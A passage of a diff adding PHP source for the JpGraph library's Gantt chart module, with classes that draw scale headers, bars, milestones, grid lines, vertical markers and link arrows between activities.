+	    $img->SetColor($this->iTableHeaderFrameColor);
+	    $img->SetLineWeight($this->iTableHeaderFrameWeight);
+	    $img->Rectangle($xt,$yt,$xb,$yb);
+	}
+
+	$this->actinfo->Stroke($img,$xt,$yt,$xb,$yb,$this->tableTitle->iShow);
+
+
+	// Draw the horizontal dividing line		
+	$this->dividerh->Stroke($img,$xt,$yb,$img->width-$img->right_margin,$yb);		
+		
+	// Draw the vertical dividing line
+	// We do the width "manually" since we want the line only to grow
+	// to the left
+	$fancy = $this->divider->iStyle == 'fancy' ;
+	if( $fancy ) {
+	    $this->divider->iStyle = 'solid';
+	}
+
+	$tmp = $this->divider->iWeight;	
+	$this->divider->iWeight=1;
+	$y = $img->height-$img->bottom_margin;
+	for($i=0; $i < $tmp; ++$i ) {
+	    $this->divider->Stroke($img,$xb-$i,$yt,$xb-$i,$y);
+	}
+
+	// Should we draw "fancy" divider
+	if( $fancy ) {
+	    $img->SetLineWeight(1);
+	    $img->SetColor($this->iTableHeaderFrameColor);
+	    $img->Line($xb,$yt,$xb,$y);
+	    $img->Line($xb-$tmp+1,$yt,$xb-$tmp+1,$y);
+	    $img->SetColor('white');
+	    $img->Line($xb-$tmp+2,$yt,$xb-$tmp+2,$y);
+	}
+    }
+
+    // Main entry point to stroke scale
+    function Stroke() {
+	if( !$this->IsRangeSet() )
+	    JpGraphError::RaiseL(6022);
+//("Gantt scale has not been specified.");
+	$img=$this->iImg;
+
+	// If minutes are displayed then hour interval must be 1
+	if( $this->IsDisplayMinute() && $this->hour->GetIntervall() > 1 ) {
+	    JpGraphError::RaiseL(6023);
+//('If you display both hour and minutes the hour intervall must be 1 (Otherwise it doesn\' make sense to display minutes).');
+	}
+		
+	// Stroke all headers. As argument we supply the offset from the
+	// top which depends on any previous headers
+	
+	// First find out the height of each header
+	$offy=$this->StrokeYears(0,true);
+	$offm=$this->StrokeMonths($offy,true);
+	$offw=$this->StrokeWeeks($offm,true);
+	$offd=$this->StrokeDays($offw,true);
+	$offh=$this->StrokeHours($offd,true);
+	$offmin=$this->StrokeMinutes($offh,true);
+
+
+	// ... then we can stroke them in the "backwards order to ensure that
+	// the larger scale gridlines is stroked over the smaller scale gridline
+	$this->StrokeMinutes($offh);
+	$this->StrokeHours($offd);
+	$this->StrokeDays($offw);
+	$this->StrokeWeeks($offm);		
+	$this->StrokeMonths($offy);		
+	$this->StrokeYears(0);
+
+	// Now when we now the oaverall size of the scale headers
+	// we can stroke the overall table headers
+	$this->StrokeTableHeaders($offmin);
+		
+	// Now we can calculate the correct scaling factor for each vertical position
+	$this->iAvailableHeight = $img->height - $img->top_margin - $img->bottom_margin - $offd;		
+	$this->iVertHeaderSize = $offmin;
+	if( $this->iVertSpacing == -1 )
+	    $this->iVertSpacing = $this->iAvailableHeight / $this->iVertLines;
+    }	
+}
+
+
+//===================================================
+// CLASS GanttConstraint
+// Just a structure to store all the values for a constraint
+//===================================================
+class GanttConstraint {
+    public $iConstrainRow;
+    public $iConstrainType;
+    public $iConstrainColor;
+    public $iConstrainArrowSize;
+    public $iConstrainArrowType;
+
+//---------------
+// CONSTRUCTOR
+    function GanttConstraint($aRow,$aType,$aColor,$aArrowSize,$aArrowType){
+	$this->iConstrainType = $aType;
+	$this->iConstrainRow = $aRow;
+	$this->iConstrainColor=$aColor;
+	$this->iConstrainArrowSize=$aArrowSize;
+	$this->iConstrainArrowType=$aArrowType;
+    }
+}
+
+
+//===================================================
+// CLASS GanttPlotObject
+// The common signature for a Gantt object
+//===================================================
+class GanttPlotObject {
+    public $title,$caption;
+    public $csimarea='',$csimtarget='',$csimwintarget='',$csimalt='';
+    public $constraints = array();    
+    public $iCaptionMargin=5;
+    public $iConstrainPos=array();
+    protected $iStart="";				// Start date
+    public $iVPos=0;					// Vertical position
+    protected $iLabelLeftMargin=2;	// Title margin
+		
+    function GanttPlotObject() {
+ 	$this->title = new TextProperty();
+	$this->title->Align("left","center");
+	$this->caption = new TextProperty();
+    }
+
+    function GetCSIMArea() {
+	return $this->csimarea;
+    }
+
+    function SetCSIMTarget($aTarget,$aAlt='',$aWinTarget='') {
+	if( !is_string($aTarget) ) {
+	    $tv = substr(var_export($aTarget,true),0,40);
+	    JpGraphError::RaiseL(6024,$tv);
+//('CSIM Target must be specified as a string.'."\nStart of target is:\n$tv");
+	}
+	if( !is_string($aAlt) ) {
+	    $tv = substr(var_export($aAlt,true),0,40);
+	    JpGraphError::RaiseL(6025,$tv);
+//('CSIM Alt text must be specified as a string.'."\nStart of alt text is:\n$tv");
+	}
+
+        $this->csimtarget=$aTarget;
+        $this->csimwintarget=$aWinTarget;
+        $this->csimalt=$aAlt;
+    }
+    
+    function SetCSIMAlt($aAlt) {
+	if( !is_string($aAlt) ) {
+	    $tv = substr(var_export($aAlt,true),0,40);
+	    JpGraphError::RaiseL(6025,$tv);
+//('CSIM Alt text must be specified as a string.'."\nStart of alt text is:\n$tv");
+	}
+        $this->csimalt=$aAlt;
+    }
+
+    function SetConstrain($aRow,$aType,$aColor='black',$aArrowSize=ARROW_S2,$aArrowType=ARROWT_SOLID) {
+	$this->constraints[] = new GanttConstraint($aRow, $aType, $aColor, $aArrowSize, $aArrowType);
+    }
+
+    function SetConstrainPos($xt,$yt,$xb,$yb) {
+	$this->iConstrainPos = array($xt,$yt,$xb,$yb);
+    }
+
+    /*
+    function GetConstrain() {
+	return array($this->iConstrainRow,$this->iConstrainType);
+    }
+    */
+	
+    function GetMinDate() {
+	return $this->iStart;
+    }
+
+    function GetMaxDate() {
+	return $this->iStart;
+    }
+	
+    function SetCaptionMargin($aMarg) {
+	$this->iCaptionMargin=$aMarg;
+    }
+
+    function GetAbsHeight($aImg) {
+	return 0; 
+    }
+	
+    function GetLineNbr() {
+	return $this->iVPos;
+    }
+
+    function SetLabelLeftMargin($aOff) {
+	$this->iLabelLeftMargin=$aOff;
+    }		
+
+    function StrokeActInfo($aImg,$aScale,$aYPos) {
+	$cols=array();
+	$aScale->actinfo->GetColStart($aImg,$cols,true);
+	$this->title->Stroke($aImg,$cols,$aYPos);		
+    }
+}
+
+//===================================================
+// CLASS Progress
+// Holds parameters for the progress indicator 
+// displyed within a bar
+//===================================================
+class Progress {
+    public $iProgress=-1;
+    public $iPattern=GANTT_SOLID;
+    public $iColor="black", $iFillColor='black';
+    public $iDensity=98, $iHeight=0.65; 
+	
+    function Set($aProg) {
+	if( $aProg < 0.0 || $aProg > 1.0 )
+	    JpGraphError::RaiseL(6027);
+//("Progress value must in range [0, 1]");
+	$this->iProgress = $aProg;
+    }
+
+    function SetPattern($aPattern,$aColor="blue",$aDensity=98) {		
+	$this->iPattern = $aPattern;
+	$this->iColor = $aColor;
+	$this->iDensity = $aDensity;
+    }
+
+    function SetFillColor($aColor) {
+	$this->iFillColor = $aColor;
+    }
+	
+    function SetHeight($aHeight) {
+	$this->iHeight = $aHeight;
+    }
+}
+
+define('GANTT_HGRID1',0);
+define('GANTT_HGRID2',1);
+
+//===================================================
+// CLASS HorizontalGridLine
+// Responsible for drawinf horizontal gridlines and filled alternatibg rows
+//===================================================
+class HorizontalGridLine {
+    private $iGraph=NULL;
+    private $iRowColor1 = '', $iRowColor2 = '';
+    private $iShow=false;
+    private $line=null;
+    private $iStart=0; // 0=from left margin, 1=just along header
+
+    function HorizontalGridLine() {
+	$this->line = new LineProperty();
+	$this->line->SetColor('gray@0.4');
+	$this->line->SetStyle('dashed');
+    }
+    
+    function Show($aShow=true) {
+	$this->iShow = $aShow;
+    }
+
+    function SetRowFillColor($aColor1,$aColor2='') {
+	$this->iRowColor1 = $aColor1;
+	$this->iRowColor2 = $aColor2;
+    }
+
+    function SetStart($aStart) {
+	$this->iStart = $aStart;
+    }
+
+    function Stroke($aImg,$aScale) {
+	
+	if( ! $this->iShow ) return;
+
+	// Get horizontal width of line
+	/*
+	$limst = $aScale->iStartDate;
+	$limen = $aScale->iEndDate;
+	$xt = round($aScale->TranslateDate($aScale->iStartDate));
+	$xb = round($aScale->TranslateDate($limen)); 
+	*/
+
+	if( $this->iStart === 0 ) {
+	    $xt = $aImg->left_margin-1;
+	}
+	else {
+	    $xt = round($aScale->TranslateDate($aScale->iStartDate))+1;
+	}
+
+	$xb = $aImg->width-$aImg->right_margin;
+
+	$yt = round($aScale->TranslateVertPos(0));
+	$yb = round($aScale->TranslateVertPos(1));	    
+	$height = $yb - $yt;
+
+	// Loop around for all lines in the chart
+	for($i=0; $i < $aScale->iVertLines; ++$i ) {
+	    $yb = $yt - $height;
+	    $this->line->Stroke($aImg,$xt,$yb,$xb,$yb);
+	    if( $this->iRowColor1 !== '' ) {
+		if( $i % 2 == 0 ) {
+		    $aImg->PushColor($this->iRowColor1);
+		    $aImg->FilledRectangle($xt,$yt,$xb,$yb);
+		    $aImg->PopColor();
+		}
+		elseif( $this->iRowColor2 !== '' ) {
+		    $aImg->PushColor($this->iRowColor2);
+		    $aImg->FilledRectangle($xt,$yt,$xb,$yb);
+		    $aImg->PopColor();
+		}
+	    }
+	    $yt = round($aScale->TranslateVertPos($i+1));
+	}
+	$yb = $yt - $height;
+	$this->line->Stroke($aImg,$xt,$yb,$xb,$yb);
+    }
+}
+
+
+//===================================================
+// CLASS GanttBar
+// Responsible for formatting individual gantt bars
+//===================================================
+class GanttBar extends GanttPlotObject {
+    public $progress;
+    public $leftMark,$rightMark;
+    private $iEnd;
+    private $iHeightFactor=0.5;
+    private $iFillColor="white",$iFrameColor="black";
+    private $iShadow=false,$iShadowColor="darkgray",$iShadowWidth=1,$iShadowFrame="black";
+    private $iPattern=GANTT_RDIAG,$iPatternColor="blue",$iPatternDensity=95;
+//---------------
+// CONSTRUCTOR	
+    function GanttBar($aPos,$aLabel,$aStart,$aEnd,$aCaption="",$aHeightFactor=0.6) {
+	parent::GanttPlotObject();	
+	$this->iStart = $aStart;	
+	// Is the end date given as a date or as number of days added to start date?
+	if( is_string($aEnd) ) {
+	    // If end date has been specified without a time we will asssume
+	    // end date is at the end of that date
+	    if( strpos($aEnd,':') === false )
+		$this->iEnd = strtotime($aEnd)+SECPERDAY-1;
+	    else 
+		$this->iEnd = $aEnd;
+	}
+	elseif(is_int($aEnd) || is_float($aEnd) ) 
+	    $this->iEnd = strtotime($aStart)+round($aEnd*SECPERDAY);
+	$this->iVPos = $aPos;
+	$this->iHeightFactor = $aHeightFactor;
+	$this->title->Set($aLabel);
+	$this->caption = new TextProperty($aCaption);
+	$this->caption->Align("left","center");
+	$this->leftMark =new PlotMark();
+	$this->leftMark->Hide();
+	$this->rightMark=new PlotMark();
+	$this->rightMark->Hide();
+	$this->progress = new Progress();
+    }
+	
+//---------------
+// PUBLIC METHODS	
+    function SetShadow($aShadow=true,$aColor="gray") {
+	$this->iShadow=$aShadow;
+	$this->iShadowColor=$aColor;
+    }
+    
+    function GetMaxDate() {
+	return $this->iEnd;
+    }
+	
+    function SetHeight($aHeight) {
+	$this->iHeightFactor = $aHeight;
+    }
+
+    function SetColor($aColor) {
+	$this->iFrameColor = $aColor;
+    }
+
+    function SetFillColor($aColor) {
+	$this->iFillColor = $aColor;
+    }
+
+    function GetAbsHeight($aImg) {
+	if( is_int($this->iHeightFactor) || $this->leftMark->show || $this->rightMark->show ) {
+	    $m=-1;
+	    if( is_int($this->iHeightFactor) )
+		$m = $this->iHeightFactor;
+	    if( $this->leftMark->show ) 
+		$m = max($m,$this->leftMark->width*2);
+	    if( $this->rightMark->show ) 
+		$m = max($m,$this->rightMark->width*2);
+	    return $m;
+	}
+	else
+	    return -1;
+    }
+	
+    function SetPattern($aPattern,$aColor="blue",$aDensity=95) {		
+	$this->iPattern = $aPattern;
+	$this->iPatternColor = $aColor;
+	$this->iPatternDensity = $aDensity;
+    }
+
+    function Stroke($aImg,$aScale) {
+	$factory = new RectPatternFactory();
+	$prect = $factory->Create($this->iPattern,$this->iPatternColor);
+	$prect->SetDensity($this->iPatternDensity);
+
+	// If height factor is specified as a float between 0,1 then we take it as meaning
+	// percetage of the scale width between horizontal line.
+	// If it is an integer > 1 we take it to mean the absolute height in pixels
+	if( $this->iHeightFactor > -0.0 && $this->iHeightFactor <= 1.1)
+	    $vs = $aScale->GetVertSpacing()*$this->iHeightFactor;
+	elseif(is_int($this->iHeightFactor) && $this->iHeightFactor>2 && $this->iHeightFactor < 200 )
+	    $vs = $this->iHeightFactor;
+	else
+	    JpGraphError::RaiseL(6028,$this->iHeightFactor);
+//("Specified height (".$this->iHeightFactor.") for gantt bar is out of range.");
+	
+	// Clip date to min max dates to show
+	$st = $aScale->NormalizeDate($this->iStart);
+	$en = $aScale->NormalizeDate($this->iEnd);
+	
+
+	$limst = max($st,$aScale->iStartDate);
+	$limen = min($en,$aScale->iEndDate);
+			
+	$xt = round($aScale->TranslateDate($limst));
+	$xb = round($aScale->TranslateDate($limen)); 
+	$yt = round($aScale->TranslateVertPos($this->iVPos)-$vs-($aScale->GetVertSpacing()/2-$vs/2));
+	$yb = round($aScale->TranslateVertPos($this->iVPos)-($aScale->GetVertSpacing()/2-$vs/2));
+	$middle = round($yt+($yb-$yt)/2);
+	$this->StrokeActInfo($aImg,$aScale,$middle);
+
+	// CSIM for title
+	if( ! empty($this->title->csimtarget) ) {
+	    $colwidth = $this->title->GetColWidth($aImg);
+	    $colstarts=array();
+	    $aScale->actinfo->GetColStart($aImg,$colstarts,true);
+	    $n = min(count($colwidth),count($this->title->csimtarget));
+	    for( $i=0; $i < $n; ++$i ) {
+		$title_xt = $colstarts[$i];
+		$title_xb = $title_xt + $colwidth[$i];
+		$coords = "$title_xt,$yt,$title_xb,$yt,$title_xb,$yb,$title_xt,$yb";
+
+		if( ! empty($this->title->csimtarget[$i]) ) {
+		    $this->csimarea .= "<area shape=\"poly\" coords=\"$coords\" href=\"".$this->title->csimtarget[$i]."\"";
+		    
+		    if( ! empty($this->title->csimwintarget[$i]) ) {
+			$this->csimarea .= "target=\"".$this->title->csimwintarget[$i]."\" ";
+		    }
+		    
+		    if( ! empty($this->title->csimalt[$i]) ) {
+			$tmp = $this->title->csimalt[$i];
+			$this->csimarea .= " title=\"$tmp\" alt=\"$tmp\" ";
+		    }
+		    $this->csimarea .= " />\n";
+		}
+	    }
+	}
+	
+	// Check if the bar is totally outside the current scale range
+	if( $en <  $aScale->iStartDate || $st > $aScale->iEndDate )
+		return;
+			
+
+	// Remember the positions for the bar
+	$this->SetConstrainPos($xt,$yt,$xb,$yb);
+		
+	$prect->ShowFrame(false);
+	$prect->SetBackground($this->iFillColor);
+	if( $this->iShadow ) {
+	    $aImg->SetColor($this->iFrameColor);
+	    $aImg->ShadowRectangle($xt,$yt,$xb,$yb,$this->iFillColor,$this->iShadowWidth,$this->iShadowColor);				
+	    $prect->SetPos(new Rectangle($xt+1,$yt+1,$xb-$xt-$this->iShadowWidth-2,$yb-$yt-$this->iShadowWidth-2));				
+	    $prect->Stroke($aImg);
+	}
+	else {	
+	    $prect->SetPos(new Rectangle($xt,$yt,$xb-$xt+1,$yb-$yt+1));				
+	    $prect->Stroke($aImg);
+	    $aImg->SetColor($this->iFrameColor);
+	    $aImg->Rectangle($xt,$yt,$xb,$yb);
+	}
+
+	// CSIM for bar
+	if( ! empty($this->csimtarget) ) {
+
+	    $coords = "$xt,$yt,$xb,$yt,$xb,$yb,$xt,$yb";
+	    $this->csimarea .= "<area shape=\"poly\" coords=\"$coords\" href=\"".$this->csimtarget."\"";
+	    
+	    if( !empty($this->csimwintarget) ) {
+		$this->csimarea .= " target=\"".$this->csimwintarget."\" ";
+	    }
+
+	    if( $this->csimalt != '' ) {
+		$tmp = $this->csimalt;
+		$this->csimarea .= " title=\"$tmp\" alt=\"$tmp\" ";
+	    }
+	    $this->csimarea .= " />\n";
+	}
+
+	// Draw progress bar inside activity bar
+	if( $this->progress->iProgress > 0 ) {
+		
+	    $xtp = $aScale->TranslateDate($st);
+	    $xbp = $aScale->TranslateDate($en);
+	    $len = ($xbp-$xtp)*$this->progress->iProgress;
+
+	    $endpos = $xtp+$len;
+	    if( $endpos > $xt ) {
+
+		// Take away the length of the progress that is not visible (before the start date)
+		$len -= ($xt-$xtp); 
+
+		// Is the the progress bar visible after the start date?
+		if( $xtp < $xt ) 
+		    $xtp = $xt;
+		
+		// Make sure that the progess bar doesn't extend over the end date
+		if( $xtp+$len-1 > $xb )
+		    $len = $xb - $xtp ;
+		
+		$prog = $factory->Create($this->progress->iPattern,$this->progress->iColor);
+		$prog->SetDensity($this->progress->iDensity);
+		$prog->SetBackground($this->progress->iFillColor);
+	    	$barheight = ($yb-$yt+1);
+		if( $this->iShadow ) 
+		    $barheight -= $this->iShadowWidth;
+		$progressheight = floor($barheight*$this->progress->iHeight);
+		$marg = ceil(($barheight-$progressheight)/2);
+	    	$pos = new Rectangle($xtp,$yt + $marg, $len,$barheight-2*$marg);
+		$prog->SetPos($pos);
+		$prog->Stroke($aImg);
+	    }
+	}
+	
+	// We don't plot the end mark if the bar has been capped
+	if( $limst == $st ) {
+	    $y = $middle;
+	    // We treat the RIGHT and LEFT triangle mark a little bi
+	    // special so that these marks are placed right under the
+	    // bar.
+	    if( $this->leftMark->GetType() == MARK_LEFTTRIANGLE ) {
+		$y = $yb ; 
+	    }
+	    $this->leftMark->Stroke($aImg,$xt,$y);
+	}
+	if( $limen == $en ) {
+	    $y = $middle;
+	    // We treat the RIGHT and LEFT triangle mark a little bi
+	    // special so that these marks are placed right under the
+	    // bar.
+	    if( $this->rightMark->GetType() == MARK_RIGHTTRIANGLE ) {
+		$y = $yb ; 
+	    }
+	    $this->rightMark->Stroke($aImg,$xb,$y);
+	    
+	    $margin = $this->iCaptionMargin;
+	    if( $this->rightMark->show ) 
+	    	$margin += $this->rightMark->GetWidth();
+	    $this->caption->Stroke($aImg,$xb+$margin,$middle);		
+	}
+    }
+}
+
+//===================================================
+// CLASS MileStone
+// Responsible for formatting individual milestones
+//===================================================
+class MileStone extends GanttPlotObject {
+    public $mark;
+	
+//---------------
+// CONSTRUCTOR	
+    function MileStone($aVPos,$aLabel,$aDate,$aCaption="") {
+	GanttPlotObject::GanttPlotObject();
+	$this->caption->Set($aCaption);
+	$this->caption->Align("left","center");
+	$this->caption->SetFont(FF_FONT1,FS_BOLD);
+	$this->title->Set($aLabel);
+	$this->title->SetColor("darkred");
+	$this->mark = new PlotMark();
+	$this->mark->SetWidth(10);
+	$this->mark->SetType(MARK_DIAMOND);
+	$this->mark->SetColor("darkred");
+	$this->mark->SetFillColor("darkred");
+	$this->iVPos = $aVPos;
+	$this->iStart = $aDate;
+    }
+	
+//---------------
+// PUBLIC METHODS	
+	
+    function GetAbsHeight($aImg) {
+	return max($this->title->GetHeight($aImg),$this->mark->GetWidth());
+    }
+		
+    function Stroke($aImg,$aScale) {
+	// Put the mark in the middle at the middle of the day
+	$d = $aScale->NormalizeDate($this->iStart)+SECPERDAY/2;
+	$x = $aScale->TranslateDate($d);
+	$y = $aScale->TranslateVertPos($this->iVPos)-($aScale->GetVertSpacing()/2);
+
+	$this->StrokeActInfo($aImg,$aScale,$y);
+
+	// CSIM for title
+	if( ! empty($this->title->csimtarget) ) {
+	    
+	    $yt = round($y - $this->title->GetHeight($aImg)/2);
+	    $yb = round($y + $this->title->GetHeight($aImg)/2);
+
+	    $colwidth = $this->title->GetColWidth($aImg);
+	    $colstarts=array();
+	    $aScale->actinfo->GetColStart($aImg,$colstarts,true);
+	    $n = min(count($colwidth),count($this->title->csimtarget));
+	    for( $i=0; $i < $n; ++$i ) {
+		$title_xt = $colstarts[$i];
+		$title_xb = $title_xt + $colwidth[$i];
+		$coords = "$title_xt,$yt,$title_xb,$yt,$title_xb,$yb,$title_xt,$yb";
+		
+		if( !empty($this->title->csimtarget[$i]) ) {
+		    
+		    $this->csimarea .= "<area shape=\"poly\" coords=\"$coords\" href=\"".$this->title->csimtarget[$i]."\"";
+		    
+		    if( !empty($this->title->csimwintarget[$i]) ) {
+			$this->csimarea .= "target=\"".$this->title->csimwintarget[$i]."\"";
+		    }
+		    
+		    if( ! empty($this->title->csimalt[$i]) ) {
+			$tmp = $this->title->csimalt[$i];
+			$this->csimarea .= " title=\"$tmp\" alt=\"$tmp\" ";
+		    }
+		    $this->csimarea .= " />\n";
+		}
+	    }
+	}
+
+	if( $d <  $aScale->iStartDate || $d > $aScale->iEndDate )
+		return;
+
+	// Remember the coordinates for any constrains linking to
+	// this milestone
+	$w = $this->mark->GetWidth()/2;
+	$this->SetConstrainPos($x,round($y-$w),$x,round($y+$w));
+	
+	// Setup CSIM
+	if( $this->csimtarget != '' ) {
+	    $this->mark->SetCSIMTarget( $this->csimtarget );
+	    $this->mark->SetCSIMAlt( $this->csimalt );
+	}
+		
+	$this->mark->Stroke($aImg,$x,$y);		
+	$this->caption->Stroke($aImg,$x+$this->mark->width/2+$this->iCaptionMargin,$y);
+
+	$this->csimarea .= $this->mark->GetCSIMAreas();
+    }
+}
+
+
+//===================================================
+// CLASS GanttVLine
+// Responsible for formatting individual milestones
+//===================================================
+
+class TextPropertyBelow extends TextProperty {
+    function TextPropertyBelow($aTxt='') {
+	parent::TextProperty($aTxt);
+    }
+
+    function GetColWidth($aImg,$aMargin=0) {
+	// Since we are not stroking the title in the columns
+	// but rather under the graph we want this to return 0.
+	return array(0);
+    }
+}
+
+class GanttVLine extends GanttPlotObject {
+
+    private $iLine,$title_margin=3, $iDayOffset=1;
+	
+//---------------
+// CONSTRUCTOR	
+    function GanttVLine($aDate,$aTitle="",$aColor="black",$aWeight=3,$aStyle="dashed") {
+	GanttPlotObject::GanttPlotObject();
+	$this->iLine = new LineProperty();
+	$this->iLine->SetColor($aColor);
+	$this->iLine->SetWeight($aWeight);
+	$this->iLine->SetStyle($aStyle);
+	$this->iStart = $aDate;
+	$this->title = new TextPropertyBelow();
+	$this->title->Set($aTitle);
+    }
+
+//---------------
+// PUBLIC METHODS	
+
+    function SetDayOffset($aOff=0.5) {
+	if( $aOff < 0.0 || $aOff > 1.0 )
+	    JpGraphError::RaiseL(6029);
+//("Offset for vertical line must be in range [0,1]");
+	$this->iDayOffset = $aOff;
+    }
+	
+    function SetTitleMargin($aMarg) {
+	$this->title_margin = $aMarg;
+    }
+	
+    function Stroke($aImg,$aScale) {
+	$d = $aScale->NormalizeDate($this->iStart);
+	if( $d <  $aScale->iStartDate || $d > $aScale->iEndDate )
+	    return;	
+	if($this->iDayOffset != 0.0)
+	    $d += 24*60*60*$this->iDayOffset;	
+	$x = $aScale->TranslateDate($d);	
+	$y1 = $aScale->iVertHeaderSize+$aImg->top_margin;
+	$y2 = $aImg->height - $aImg->bottom_margin;	
+	$this->iLine->Stroke($aImg,$x,$y1,$x,$y2);
+	$this->title->Align("center","top");
+	$this->title->Stroke($aImg,$x,$y2+$this->title_margin);
+    }	
+}
+
+//===================================================
+// CLASS LinkArrow
+// Handles the drawing of a an arrow 
+//===================================================
+class LinkArrow {
+    private $ix,$iy;
+    private $isizespec = array(
+	array(2,3),array(3,5),array(3,8),array(6,15),array(8,22));
+    private $iDirection=ARROW_DOWN,$iType=ARROWT_SOLID,$iSize=ARROW_S2;
+    private $iColor='black';
+
+    function LinkArrow($x,$y,$aDirection,$aType=ARROWT_SOLID,$aSize=ARROW_S2) {
+	$this->iDirection = $aDirection;
+	$this->iType = $aType;
+	$this->iSize = $aSize;
+	$this->ix = $x;
+	$this->iy = $y;
+    }
+    
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+
+    function SetSize($aSize) {
+	$this->iSize = $aSize;
+    }
+
+    function SetType($aType) {
+	$this->iType = $aType;
+    }
+
+    function Stroke($aImg) {
+	list($dx,$dy) = $this->isizespec[$this->iSize];
+	$x = $this->ix;
+	$y = $this->iy;
+	switch ( $this->iDirection ) {
+	    case ARROW_DOWN:
+		$c = array($x,$y,$x-$dx,$y-$dy,$x+$dx,$y-$dy,$x,$y);
+		break;
+	    case ARROW_UP:
+		$c = array($x,$y,$x-$dx,$y+$dy,$x+$dx,$y+$dy,$x,$y);
+		break;
+	    case ARROW_LEFT:
+		$c = array($x,$y,$x+$dy,$y-$dx,$x+$dy,$y+$dx,$x,$y);
+		break;
+	    case ARROW_RIGHT:
+		$c = array($x,$y,$x-$dy,$y-$dx,$x-$dy,$y+$dx,$x,$y);
+		break;
+	    default:
+		JpGraphError::RaiseL(6030);
+//('Unknown arrow direction for link.');
+		die();
+		break;
+	}
+	$aImg->SetColor($this->iColor);
+	switch( $this->iType ) {
+	    case ARROWT_SOLID:
+		$aImg->FilledPolygon($c);
+		break;
+	    case ARROWT_OPEN:
+		$aImg->Polygon($c);
+		break;
+	    default:
+		JpGraphError::RaiseL(6031);
+//('Unknown arrow type for link.');
+		die();
+		break;		
+	}
+    }
+}
+
+//===================================================
+// CLASS GanttLink
+// Handles the drawing of a link line between 2 points
+//===================================================
+
+class GanttLink {
+    private $ix1,$ix2,$iy1,$iy2;
+    private $iPathType=2,$iPathExtend=15;
+    private $iColor='black',$iWeight=1;
+    private $iArrowSize=ARROW_S2,$iArrowType=ARROWT_SOLID;
+
+    function GanttLink($x1=0,$y1=0,$x2=0,$y2=0) {
+	$this->ix1 = $x1;
+	$this->ix2 = $x2;
+	$this->iy1 = $y1;
+	$this->iy2 = $y2;
+    }
+
+    function SetPos($x1,$y1,$x2,$y2) {
+	$this->ix1 = $x1;
+	$this->ix2 = $x2;
+	$this->iy1 = $y1;
+	$this->iy2 = $y2;
+    }
+
+    function SetPath($aPath) {
+	$this->iPathType = $aPath;
+    }
+
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+
+    function SetArrow($aSize,$aType=ARROWT_SOLID) {
+	$this->iArrowSize = $aSize;
+	$this->iArrowType = $aType;
+    }
+    
+    function SetWeight($aWeight) {
+	$this->iWeight = $aWeight;
+    }
+
+    function Stroke($aImg) {
+	// The way the path for the arrow is constructed is partly based
+	// on some heuristics. This is not an exact science but draws the
+	// path in a way that, for me, makes esthetic sence. For example
+	// if the start and end activities are very close we make a small
+	// detour to endter the target horixontally. If there are more
+	// space between axctivities then no suh detour is made and the 
+	// target is "hit" directly vertical. I have tried to keep this
+	// simple. no doubt this could become almost infinitive complex
+	// and have some real AI. Feel free to modify this.
+	// This will no-doubt be tweaked as times go by. One design aim
+	// is to avoid having the user choose what types of arrow
+	// he wants.
+
+	// The arrow is drawn between (x1,y1) to (x2,y2)
+	$x1 = $this->ix1 ;
+	$x2 = $this->ix2 ;
+	$y1 = $this->iy1 ;
+	$y2 = $this->iy2 ;
+
+	// Depending on if the target is below or above we have to
+	// handle thi different.
+	if( $y2 > $y1 ) {
+	    $arrowtype = ARROW_DOWN;
+	    $midy = round(($y2-$y1)/2+$y1);
+	    if( $x2 > $x1 ) {
+		switch ( $this->iPathType  ) {
+		    case 0:
+			$c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			break;
+		    case 1:
+		    case 2:
+		    case 3:
+			$c = array($x1,$y1,$x2,$y1,$x2,$y2);
+			break;
+		    default:
+			JpGraphError::RaiseL(6032,$this->iPathType);
+//('Internal error: Unknown path type (='.$this->iPathType .') specified for link.');
+			exit(1);
+			break;
+		}
+	    }
+	    else {
+		switch ( $this->iPathType  ) {
+		    case 0:
+		    case 1:
+			$c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			break;
+		    case 2:
+			// Always extend out horizontally a bit from the first point
+			// If we draw a link back in time (end to start) and the bars 
+			// are very close we also change the path so it comes in from 
+			// the left on the activity
+			$c = array($x1,$y1,$x1+$this->iPathExtend,$y1,
+				   $x1+$this->iPathExtend,$midy,
+				   $x2,$midy,$x2,$y2);
+			break;
+		    case 3:
+			if( $y2-$midy < 6 ) {
+			    $c = array($x1,$y1,$x1,$midy,
+				       $x2-$this->iPathExtend,$midy,
+				       $x2-$this->iPathExtend,$y2,
+				       $x2,$y2);
+			    $arrowtype = ARROW_RIGHT;
+			}
+			else {
+			    $c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			}
+			break;
+		    default:
+			JpGraphError::RaiseL(6032,$this->iPathType);
+//('Internal error: Unknown path type specified for link.');
+			exit(1);
+			break;
+		}
+	    }
+	    $arrow = new LinkArrow($x2,$y2,$arrowtype);
+	}
+	else {
+	    // Y2 < Y1
+	    $arrowtype = ARROW_UP;
+	    $midy = round(($y1-$y2)/2+$y2);
+	    if( $x2 > $x1 ) {
+		switch ( $this->iPathType  ) {
+		    case 0:
+		    case 1:
+			$c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			break;
+		    case 3:
+			if( $midy-$y2 < 8 ) {
+			    $arrowtype = ARROW_RIGHT;
+			    $c = array($x1,$y1,$x1,$y2,$x2,$y2);
+			}
+			else {
+			    $c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			}
+			break;
+		    default:
+			JpGraphError::RaiseL(6032,$this->iPathType);
+//('Internal error: Unknown path type specified for link.');
+			break;
+		}
+	    }
+	    else {
+		switch ( $this->iPathType  ) {
+		    case 0:
+		    case 1:
+			$c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			break;
+		    case 2:
+			// Always extend out horizontally a bit from the first point
+			$c = array($x1,$y1,$x1+$this->iPathExtend,$y1,
+				   $x1+$this->iPathExtend,$midy,
+				   $x2,$midy,$x2,$y2);
+			break;
+		    case 3:
+			if( $midy-$y2 < 16 ) {
+			    $arrowtype = ARROW_RIGHT;
+			    $c = array($x1,$y1,$x1,$midy,$x2-$this->iPathExtend,$midy,
+				       $x2-$this->iPathExtend,$y2,
+				       $x2,$y2);
+			}
+			else {
+			    $c = array($x1,$y1,$x1,$midy,$x2,$midy,$x2,$y2);
+			}
+			break;
+		    default:
+			JpGraphError::RaiseL(6032,$this->iPathType);
